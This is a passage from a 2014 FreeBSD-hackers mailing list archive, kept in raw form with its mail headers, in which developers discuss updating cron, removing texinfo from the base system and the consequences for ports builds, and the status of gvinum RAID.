08:39:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C4C31B24; Wed, 25 Jun 2014 08:39:11 +0000 (UTC) Received: from smtp.digiware.nl (smtp.digiware.nl [31.223.170.169]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 801DC2A7F; Wed, 25 Jun 2014 08:39:11 +0000 (UTC) Received: from rack1.digiware.nl (unknown [127.0.0.1]) by smtp.digiware.nl (Postfix) with ESMTP id 00BEC153AAA; Wed, 25 Jun 2014 10:39:02 +0200 (CEST) X-Virus-Scanned: amavisd-new at digiware.nl Received: from smtp.digiware.nl ([127.0.0.1]) by rack1.digiware.nl (rack1.digiware.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id JZD92INU76CX; Wed, 25 Jun 2014 10:35:47 +0200 (CEST) Received: from [192.168.10.67] (opteron [192.168.10.67]) by smtp.digiware.nl (Postfix) with ESMTP id 4FD9E153AA9; Wed, 25 Jun 2014 10:20:18 +0200 (CEST) Message-ID: <53AA8631.307@digiware.nl> Date: Wed, 25 Jun 2014 10:20:01 +0200 From: Willem Jan Withagen Organization: Digiware Management b.v. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Adrian Chadd , =?UTF-8?B?VG9tZWsgV2HFgmFzemVr?= Subject: Re: Improve cron(8) References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> <53A82008.9050002@digiware.nl> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Cc: "freebsd-hackers@freebsd.org" , Alfred Perlstein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 08:39:11 -0000 On 2014-06-23 18:53, Adrian Chadd wrote: > On 23 June 2014 06:26, Tomek WaĹ‚aszek wrote: > >> Hello, >> I got your point. >> From the technical perspective it should be quite easy to implement this >> feature, but I'm not sure whether this will get positive feedback. I >> remeber that there was a discussion on the OpenBSD mailing lists (there was >> even a patch for this) but they don't like the idea :) maybe FreeBSD >> project will like it, I don't know. >> >> At the moment I want to update FreeBSD cron to ISC cron (with all the >> features that FreeBSD has at the moment and ISC does not have) and >> integrate atrun into cron like it was done in OpenBSD cron. After that (or >> faster who knows :)) maybe we should have a discussion about this idea. > > Sweet! > > Well, hm. How should we do it? Can we run both cron's in the same > source tree and just pick which to build/install? They're both > different crons, right? Or is there a common ancestor that makes the > diff not so terrible? The /etc/rc.d/cron already allows for command_path specification. So als long as the 2 versions have different nameing, selection is easy. -_WjW From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 10:31:15 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0223CA6E; Wed, 25 Jun 2014 10:31:15 +0000 (UTC) Received: from mail-wi0-x22c.google.com (mail-wi0-x22c.google.com [IPv6:2a00:1450:400c:c05::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 474262649; Wed, 25 Jun 2014 10:31:14 +0000 (UTC) Received: by mail-wi0-f172.google.com with SMTP id hi2so7561196wib.11 for ; Wed, 25 Jun 2014 03:31:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=UpSq2UntmVbwBFYG74K85m43JdQtoq1j2s25GOrxfXM=; b=sS5fCptOKbvNJMVyWCZ3vAcagusc5IRhFz5B/d5AWRWrHzyfPHufFwOI/x+G/2Gw6w CZzNnxWjAnx5ONoq9CmjR0/bYbbKOFF/mogOioSmj7VuR8tTFgxw+VSmR0EzKBEjItyt Sigv7PkeqAHt42LAAK+fql3D+E8ZeTsbLFNhaQAGdZiGBtG0DeNWTNQK5dU111LbaXNm mXWX9Yzk6Nv/Zp7UTtrn68wXlY/455B5O7scPHidOy8qWUa4IAAayyMaqzvo+jkN8VG1 NDhAfAMNd8X0B8TSMRG8sO0m3e7N+1pjam8SAsDw7Nm8+sNvUWI2RUlXx0FjAQPdNenH JFNA== X-Received: by 10.180.21.200 with SMTP id x8mr5894281wie.67.1403692271909; Wed, 25 Jun 2014 03:31:11 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id m1sm10817620wib.20.2014.06.25.03.31.10 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 25 Jun 2014 03:31:11 -0700 (PDT) Sender: Baptiste Daroussin Date: Wed, 25 Jun 2014 12:31:08 +0200 From: Baptiste Daroussin To: hackers@FreeBSD.org, arch@FreeBSD.org Subject: [CFR] Remove texinfo from base Message-ID: <20140625103107.GB23976@ivaldir.etoilebsd.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="P2/AsD9qFFw+Iv3c" Content-Disposition: inline User-Agent: Mutt/1.5.23 (2014-03-12) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 10:31:15 -0000 --P2/AsD9qFFw+Iv3c Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi all, Here is a patch (6.5MB) http://people.freebsd.org/~bapt/remove-texinfo.diff That removes completly texinfo from base as well as bsd.info.mk The ports tree has received the necessary bits so it is now able to handle info pages without anything related to texinfo in base regards, Bapt --P2/AsD9qFFw+Iv3c Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iEYEARECAAYFAlOqpOsACgkQ8kTtMUmk6EylcgCaAjE7kZp54dr245X9dN4rTRpJ 0vwAn2sH/dbRAq+HxTQOk4CqaNVJvgpV =Xo5Z -----END PGP SIGNATURE----- --P2/AsD9qFFw+Iv3c-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 10:45:48 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CBEBAEF3; Wed, 25 Jun 2014 10:45:48 +0000 (UTC) Received: from thyme.infocus-llc.com (server.infocus-llc.com [206.156.254.44]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "*.infocus-llc.com", Issuer "*.infocus-llc.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id A31272791; Wed, 25 Jun 2014 10:45:48 +0000 (UTC) Received: from draco.over-yonder.net (c-75-65-60-66.hsd1.ms.comcast.net [75.65.60.66]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by thyme.infocus-llc.com (Postfix) with ESMTPSA id 85B1E37B537; Wed, 25 Jun 2014 05:45:41 -0500 (CDT) Received: by draco.over-yonder.net (Postfix, from userid 100) id 3gz1Gs07Bwz2jT; Wed, 25 Jun 2014 05:45:41 -0500 (CDT) Date: Wed, 25 Jun 2014 05:45:40 -0500 From: "Matthew D. Fuller" To: Baptiste Daroussin Subject: Re: [CFR] Remove texinfo from base Message-ID: <20140625104540.GE86779@over-yonder.net> References: <20140625103107.GB23976@ivaldir.etoilebsd.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140625103107.GB23976@ivaldir.etoilebsd.net> X-Editor: vi X-OS: FreeBSD User-Agent: Mutt/1.5.23-fullermd.4 (2014-03-12) X-Virus-Scanned: clamav-milter 0.98.3 at thyme.infocus-llc.com X-Virus-Status: Clean Cc: arch@FreeBSD.org, hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 10:45:48 -0000 On Wed, Jun 25, 2014 at 12:31:08PM +0200 I heard the voice of Baptiste Daroussin, and lo! it spake thus: > > The ports tree has received the necessary bits so it is now able to > handle info pages without anything related to texinfo in base How many ports does that break? As somebody with /usr/local/bin/ before /usr/bin/ in his $PATH, I've run into a steady trickle of ports over the years that break when various ports shadow base utils, and texinfo is the prime offender. e.g., recently (and still brokenly) lang/guile as says. -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ On the Internet, nobody can hear you scream. From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 10:52:17 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7593A2B1; Wed, 25 Jun 2014 10:52:17 +0000 (UTC) Received: from mail-we0-x22d.google.com (mail-we0-x22d.google.com [IPv6:2a00:1450:400c:c03::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D7EF82854; Wed, 25 Jun 2014 10:52:16 +0000 (UTC) Received: by mail-we0-f173.google.com with SMTP id t60so1818855wes.18 for ; Wed, 25 Jun 2014 03:52:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=shPQL8TfCwphfBH1LvBlOYuYdoxcvF56wtx6q8gOaE4=; b=VLVuoPi9OClS5Dxl3dZOqDNGtXfV1hHRY53xrV6x0g2GvMQ3c/rY3Veg54mS+6KsUn bf9XwbROAmcCn6rK4nXMLG0RlxAHXm1ZnBGULBPNq4zpaMFYCL9k6/HMuaHKzAF8qxFL bROXh4N6OB1YGlvz/welSjBVml1Nd6ZY9pQZv/HC4ZCGItpH47NARgSHwsVxJAX68zG8 tdwrK3DMKYoe7RFM/OKsJUANbHTRy6iA+umbpUqIjT9mfJcnSakSuRzqvg8lBKm3KXPP mk778pO8xEfI6LyVNv4qMCUhS8gPlZ2J115BY/iFgFS5gzycw+qIBC2uv9vS3NuBjZEE kP/Q== X-Received: by 10.180.108.208 with SMTP id hm16mr5812254wib.80.1403693533524; Wed, 25 Jun 2014 03:52:13 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id ey16sm52419206wid.14.2014.06.25.03.52.12 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 25 Jun 2014 03:52:12 -0700 (PDT) Sender: Baptiste Daroussin Date: Wed, 25 Jun 2014 12:52:10 +0200 From: Baptiste Daroussin To: "Matthew D. Fuller" Subject: Re: [CFR] Remove texinfo from base Message-ID: <20140625105209.GC23976@ivaldir.etoilebsd.net> References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="/If7Wv41KAW8wPhq" Content-Disposition: inline In-Reply-To: <20140625104540.GE86779@over-yonder.net> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: arch@FreeBSD.org, hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 10:52:17 -0000 --/If7Wv41KAW8wPhq Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jun 25, 2014 at 05:45:40AM -0500, Matthew D. Fuller wrote: > On Wed, Jun 25, 2014 at 12:31:08PM +0200 I heard the voice of > Baptiste Daroussin, and lo! it spake thus: > >=20 > > The ports tree has received the necessary bits so it is now able to > > handle info pages without anything related to texinfo in base >=20 > How many ports does that break? >=20 > As somebody with /usr/local/bin/ before /usr/bin/ in his $PATH, I've > run into a steady trickle of ports over the years that break when > various ports shadow base utils, and texinfo is the prime offender. > e.g., recently (and still brokenly) lang/guile as > says. I have just committed the support for this in ports, anyway breakage should= be reported, right now it seems fine on my exp-run regards, Bapt --/If7Wv41KAW8wPhq Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iEYEARECAAYFAlOqqdkACgkQ8kTtMUmk6EzExgCfdtdBM+SlTZ0utGoygQiLrxOx XOkAn3J2WzEByjBhmCFxdZl6ApCO+sVD =OrkU -----END PGP SIGNATURE----- --/If7Wv41KAW8wPhq-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 11:00:51 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 489247A2; Wed, 25 Jun 2014 11:00:51 +0000 (UTC) Received: from thyme.infocus-llc.com (server.infocus-llc.com [206.156.254.44]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "*.infocus-llc.com", Issuer "*.infocus-llc.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 1EA112923; Wed, 25 Jun 2014 11:00:50 +0000 (UTC) Received: from draco.over-yonder.net (c-75-65-60-66.hsd1.ms.comcast.net [75.65.60.66]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by thyme.infocus-llc.com (Postfix) with ESMTPSA id DB00137B537; Wed, 25 Jun 2014 06:00:49 -0500 (CDT) Received: by draco.over-yonder.net (Postfix, from userid 100) id 3gz1cK38RRz2jy; Wed, 25 Jun 2014 06:00:49 -0500 (CDT) Date: Wed, 25 Jun 2014 06:00:49 -0500 From: "Matthew D. Fuller" To: Baptiste Daroussin Subject: Re: [CFR] Remove texinfo from base Message-ID: <20140625110049.GF86779@over-yonder.net> References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140625105209.GC23976@ivaldir.etoilebsd.net> X-Editor: vi X-OS: FreeBSD User-Agent: Mutt/1.5.23-fullermd.4 (2014-03-12) X-Virus-Scanned: clamav-milter 0.98.3 at thyme.infocus-llc.com X-Virus-Status: Clean Cc: arch@FreeBSD.org, hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 11:00:51 -0000 On Wed, Jun 25, 2014 at 12:52:10PM +0200 I heard the voice of Baptiste Daroussin, and lo! it spake thus: > > I have just committed the support for this in ports, anyway breakage > should be reported, right now it seems fine on my exp-run Oh, yes. Sorry, I did phrase that poorly. This shouldn't _break_ anything, but I suspect it will uncover existing-but-hidden breakage. Which is good. But does merit awareness that "hey, this will probably happen somewhere, so know this is a place to look when a build breaks". -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ On the Internet, nobody can hear you scream. From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 12:48:18 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5373F54C for ; Wed, 25 Jun 2014 12:48:18 +0000 (UTC) Received: from bewilderbeast.blackhelicopters.org (mwlucas-2-pt.tunnel.tserv9.chi1.ipv6.he.net [IPv6:2001:470:1f10:b9c::2]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 17CBE23D2 for ; Wed, 25 Jun 2014 12:48:17 +0000 (UTC) Received: from bewilderbeast.blackhelicopters.org (localhost [127.0.0.1]) by bewilderbeast.blackhelicopters.org (8.14.9/8.14.9) with ESMTP id s5PCm3FO061718 for ; Wed, 25 Jun 2014 08:48:15 -0400 (EDT) (envelope-from mwlucas@bewilderbeast.blackhelicopters.org) Received: (from mwlucas@localhost) by bewilderbeast.blackhelicopters.org (8.14.9/8.14.7/Submit) id s5PCm36m061717 for hackers@freebsd.org; Wed, 25 Jun 2014 08:48:03 -0400 (EDT) (envelope-from mwlucas) Date: Wed, 25 Jun 2014 08:48:02 -0400 From: "Michael W. Lucas" To: hackers@freebsd.org Subject: gvinum status? Message-ID: <20140625124802.GA61700@bewilderbeast.blackhelicopters.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.23 (2014-03-12) X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (bewilderbeast.blackhelicopters.org [127.0.0.1]); Wed, 25 Jun 2014 08:48:15 -0400 (EDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 12:48:18 -0000 Folks, Not sure which mailing list to send this to, so I'll try here. Back in the day, vinum was a big deal. It's been replaced by gvinum(8). And gvinum is the only in-base way to do OS-based RAID5. But I don't hear much about it. Is gvinum discouraged or slated for deprecation? Or is it merely less popular now that everyone's jumped on the ZFS train? Thanks, ==ml -- Michael W. Lucas - mwlucas@michaelwlucas.com, Twitter @mwlauthor http://www.MichaelWLucas.com/, http://blather.MichaelWLucas.com/ From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 15:13:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3B12D257 for ; Wed, 25 Jun 2014 15:13:21 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 2823222C3 for ; Wed, 25 Jun 2014 15:13:20 +0000 (UTC) Received: from Alfreds-MacBook-Pro-9.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id 52FE01A3C43 for ; Wed, 25 Jun 2014 08:13:20 -0700 (PDT) Message-ID: <53AAE710.8030500@mu.org> Date: Wed, 25 Jun 2014 08:13:20 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: [CFR] Remove texinfo from base References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> In-Reply-To: <20140625105209.GC23976@ivaldir.etoilebsd.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 15:13:21 -0000 On 6/25/14 3:52 AM, Baptiste Daroussin wrote: > On Wed, Jun 25, 2014 at 05:45:40AM -0500, Matthew D. Fuller wrote: >> On Wed, Jun 25, 2014 at 12:31:08PM +0200 I heard the voice of >> Baptiste Daroussin, and lo! it spake thus: >>> The ports tree has received the necessary bits so it is now able to >>> handle info pages without anything related to texinfo in base >> How many ports does that break? >> >> As somebody with /usr/local/bin/ before /usr/bin/ in his $PATH, I've >> run into a steady trickle of ports over the years that break when >> various ports shadow base utils, and texinfo is the prime offender. >> e.g., recently (and still brokenly) lang/guile as >> says. > I have just committed the support for this in ports, anyway breakage should be > reported, right now it seems fine on my exp-run > > regards, > Bapt Go Bapt! Well done. -- Alfred Perlstein From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 15:20:51 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 26EB47E9 for ; Wed, 25 Jun 2014 15:20:51 +0000 (UTC) Received: from mail-pa0-f48.google.com (mail-pa0-f48.google.com [209.85.220.48]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E78372336 for ; Wed, 25 Jun 2014 15:20:50 +0000 (UTC) Received: by mail-pa0-f48.google.com with SMTP id et14so1856723pad.21 for ; Wed, 25 Jun 2014 08:20:44 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=M7hP+SGDgiPFqW8M5hirZvcgxceUx4drVrGMd6BL9hQ=; b=DxV2uhxgebleDh0lf73cVR7Xf3WIoarhov+igHYGaiRZkQuHxfszHmGJQij26dteUR ULv7fl9JVvyVaORkHJb2eAwTNbZOlQM7iiXcs7lnGgl645UPwE3wTVITbnzvy0kZ7Pw9 Yke8dgQtQMWA/AjfeyQZt8bT37Z6GcRbkWs77uRchkpI2+CR2VejHJAzxtLmjw+QAuHv hHVtptkDGi80HmFhh6HBCPleX3OKLcRD3v6Itig9MJYXnVIZDnAzhaeiiIiRsgHxvXyt Mv4NffxBDWU4rjLYTtY2hA08Ct3/HdDLyICHJyl1gAGkqGHs760KQ3F5HzF1gwJSYe1T wzLw== X-Gm-Message-State: ALoCoQk51Yv2Epuc9f+vhtmaSoGMKxqF/61AS55vi2Q8gXfN4pY/S84L6GrWfH0bjzxLwf0Mhij+ X-Received: by 10.66.136.103 with SMTP id pz7mr12762161pab.140.1403709644172; Wed, 25 Jun 2014 08:20:44 -0700 (PDT) Received: from [192.168.9.241] (173-11-114-225-SFBA.hfc.comcastbusiness.net. [173.11.114.225]) by mx.google.com with ESMTPSA id ao4sm5744291pbc.51.2014.06.25.08.20.42 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 25 Jun 2014 08:20:43 -0700 (PDT) Sender: Warner Losh Content-Type: multipart/signed; boundary="Apple-Mail=_5687031B-EF46-46D7-96D4-51D426A63E4F"; protocol="application/pgp-signature"; micalg=pgp-sha512 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: [CFR] Remove texinfo from base From: Warner Losh In-Reply-To: <20140625110049.GF86779@over-yonder.net> Date: Wed, 25 Jun 2014 08:20:41 -0700 Message-Id: <40EA1066-4776-4B2E-988A-9900BB842862@bsdimp.com> References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> <20140625110049.GF86779@over-yonder.net> To: "Matthew D. Fuller" X-Mailer: Apple Mail (2.1878.2) Cc: arch@FreeBSD.org, Baptiste Daroussin , hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 15:20:51 -0000 --Apple-Mail=_5687031B-EF46-46D7-96D4-51D426A63E4F Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jun 25, 2014, at 4:00 AM, Matthew D. Fuller = wrote: > On Wed, Jun 25, 2014 at 12:52:10PM +0200 I heard the voice of > Baptiste Daroussin, and lo! it spake thus: >>=20 >> I have just committed the support for this in ports, anyway breakage >> should be reported, right now it seems fine on my exp-run >=20 > Oh, yes. Sorry, I did phrase that poorly. This shouldn't _break_ > anything, but I suspect it will uncover existing-but-hidden breakage. >=20 > Which is good. But does merit awareness that "hey, this will probably > happen somewhere, so know this is a place to look when a build > breaks". I know it will break certain nanobsd configurations that build ports = because dependencies there (at least for the ones I=92ve done) aren=92t well = handled. So I agree that this patch is missing, at the very least, an UPDATING entry = and a __FreeBSD_version bump. Warner --Apple-Mail=_5687031B-EF46-46D7-96D4-51D426A63E4F Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - https://gpgtools.org iQIcBAEBCgAGBQJTqujJAAoJEGwc0Sh9sBEA/d8QANmi7arakpMdBhg9r+8/8HpC V/BU93XnT4QTEBzF9YI8C6AW1HWrz/nfEGtt4gJc0exNASdQcBxDlycYA+DA4ibT jvaY3d5lkMPXFacUfLPaj8xLorlH5yyThAGNjI+LQAudMNw4eSDXFkUkB3+JL39W nXjLBdwjsCCdlA5gSBNjTQK00dOp5pf2s4Kzopzu75+m8fegq5djCrZ184dom8bV IZhSmiyMgsW6aeF3ym9kwRr4i/o4zCefhobzy1J7KCdeSZUy3LUHKOPlE+j9xFyJ /UUkzu8q/MwLk2VXwG3Xi6aDfG9bw9vJokE7AqwHap0+oZqtLce7XSTC1VUoljIQ VSfQzO+zVCZOc0Y8gqSJGr/vY3QQ9kak+6HqHuy4YE6sHENOw0fEwmZPXtsXMMYP K/SdJwwbftvZldWlBDj7Hp8K82E3LV5g30KOzKGxdz9C17/ftbFpFoYzZ2Q4yni5 pEcPh0XoUVlxUFunnuOIhB1bMDsYvRF/Zk9xMBTMzuO3+5XSz9XYqyw5K7ehjBrZ hVx/vkjIHUEe8Wrb57UH32LxH3/NkYIF/Ji9dsYSsu6wN+qtWAi4jhiF1YIi3AOy 8wNdytLXwngCPEi666gPOSto6P2aia1hwJtZZ+ML0Me1XGV8KVYi8KatbbrnMv0N 89UgvGT9MSH1b5O2SQTo =Si+q -----END PGP SIGNATURE----- --Apple-Mail=_5687031B-EF46-46D7-96D4-51D426A63E4F-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 15:48:07 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AEA998DD; Wed, 25 Jun 2014 15:48:07 +0000 (UTC) Received: from mail-we0-x22a.google.com (mail-we0-x22a.google.com [IPv6:2a00:1450:400c:c03::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 057C0268A; Wed, 25 Jun 2014 15:48:06 +0000 (UTC) Received: by mail-we0-f170.google.com with SMTP id w61so2235433wes.29 for ; Wed, 25 Jun 2014 08:48:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=WiFmbFJAs3w6DYqu5qzKD3oPHQNq46PIoE5tDT2m3DU=; b=hgGX77vNQA3nxHVkUvv9XmC5ouKJx0usIq/UrDMG5bimDWc84nCjk0XuEmtLZa3gGJ 1pwMDeEDW2Q2xTEiLJHTEG/fyfmuLOI9+Kd1SzmqXvbiVKE2pCGLd8NNnJnRza+SHQ+s RxmQKUWR2rnFTm/vDU6Z/QBT4V1UpKdnUO8cJCuFhiWzTwJRRLFyHNcpggj7VNBrNo3N lzXU3kh0MEixrIqip2dvR+HMhhBMgCOZYC2lwjMjoLvAOp4FZxDiJ9+42RgXH/d4cguE fLCx7GZN1DF757m7ll6qHy7n2CqP8RrhH3uQPHsOptiPI2rgz1RDQGzD/AzOeWvL2xJr dcPw== 